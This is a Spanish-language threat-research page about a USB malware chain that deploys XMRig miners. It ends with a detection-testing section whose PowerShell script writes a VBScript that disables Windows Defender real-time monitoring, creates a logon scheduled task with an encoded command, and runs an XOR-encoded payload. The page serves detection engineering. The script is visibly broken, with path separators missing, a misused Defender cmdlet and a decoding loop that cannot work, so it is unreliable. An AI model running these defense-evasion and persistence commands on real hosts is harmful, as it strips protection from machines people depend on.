SOC Prime Bias: Medio

02 Dec 2025 17:53 UTC

DIRTYBULK y Amigos: Malware USB Impulsando Operaciones de Minería de Criptomonedas

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
DIRTYBULK y Amigos: Malware USB Impulsando Operaciones de Minería de Criptomonedas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe detalla una campaña de infección impulsada por USB que utiliza archivos de acceso directo maliciosos para entregar una cadena de malware de múltiples etapas para la minería de criptomonedas. La ejecución inicial carga un DLL llamado printui.dll desde un directorio falso de System32, luego entrega un dropper (CUTFAIL) que despliega un downloader (HIGHREPS) y un backdoor (PUMPBENCH). El backdoor PUMPBENCH se comunica con un servidor PostgreSQL para obtener cargas útiles adicionales y, finalmente, lanza los mineros XMRig. La operación mantiene la persistencia mediante exclusiones de Windows Defender, tareas programadas y servicios fraudulentos.

Análisis

Los investigadores de Mandiant deconstruyeron la cadena de ataque y destacaron cuatro familias de malware principales: DIRTYBULK, CUTFAIL, HIGHREPS y PUMPBENCH. Capturaron los patrones de nombres de archivo de los actores, el abuso de carga lateral de DLL de printui.dll, los cambios de registro e indicadores de red asociados. El análisis también trazó técnicas de persistencia, incluyendo tareas programadas y servicios vinculados al Grupo de Servicios DCOMLaunch.

Mitigación

Las defensas recomendadas incluyen bloquear la ejecución de archivos de acceso directo que se originan en medios extraíbles, monitorear los comandos que agregan exclusiones de Windows Defender, detectar actividad sospechosa de carga lateral de printui.dll y buscar servicios o tareas programadas que usen nombres aleatorios de seis dígitos. Aplicar controles de red contra dominios maliciosos conocidos y resolutores de DoH puede limitar aún más los canales de comando y control.

Respuesta

Una vez detectado, aísle el host impactado, elimine el DLL malicioso y sus componentes relacionados, elimine la tarea programada ofensiva y las entradas de servicio, y restablezca la configuración de Windows Defender limpiando las exclusiones. Realice un escaneo forense exhaustivo para descubrir cargas útiles residuales y rastrear conexiones a la infraestructura C2 de PostgreSQL identificada. Finalmente, actualice el contenido de detección para cubrir el uso observado de la línea de comandos y comportamientos de creación de archivos.

Flujo de ataque

Ejecución de simulación

Requisito previo: la verificación previa de telemetría y línea base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un mal diagnóstico.

  • Narrativa de ataque y comandos:

    1. Etapa 1 – Desplegar VBScript malicioso en la unidad USB comprometida (por ejemplo, E:payload.vbs). El script desactiva la protección en tiempo real de Windows Defender usando Add-MpPreference, cifra una carga útil con una rutina XOR, y crea una tarea programada para la persistencia.

    2. Etapa 2 – Ejecutar el script mediante wscript.exe pasando directamente la línea de comando de persistencia (para satisfacer la condición conjuntiva de la regla).

    3. Etapa 3 – El script invoca internamente PowerShell para ejecutar la carga útil cifrada, demostrando la «cadena de infección».

    4. Etapa 4 – Después de la ejecución, el atacante limpia los artefactos (elimina el script, borra la tarea programada).

  • Script de prueba de regresión:

    # ------------------------------------------------------------
    # Prueba de regresión – Simulación de cadena de infección de malware
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Crear carga útil cifrada con XOR dummy --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Escribir VBScript malicioso -------------------------------------------
    @"
    ' VBScript malicioso – cadena de infección
    Set sh = CreateObject("WScript.Shell")
    ' Desactivar la protección en tiempo real
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Crear tarea programada para persistencia
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Descifrar y ejecutar carga útil
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Ejecutar el script mediante wscript.exe (dispara la regla) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Opcional) Esperar unos segundos para que la tarea se active ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Limpieza – eliminar script y tarea programada
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Comandos de limpieza:

    # Eliminar tarea programada residual (si aún está presente)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Eliminar cualquier archivo de script residual
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Habilitar nuevamente la protección en tiempo real
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"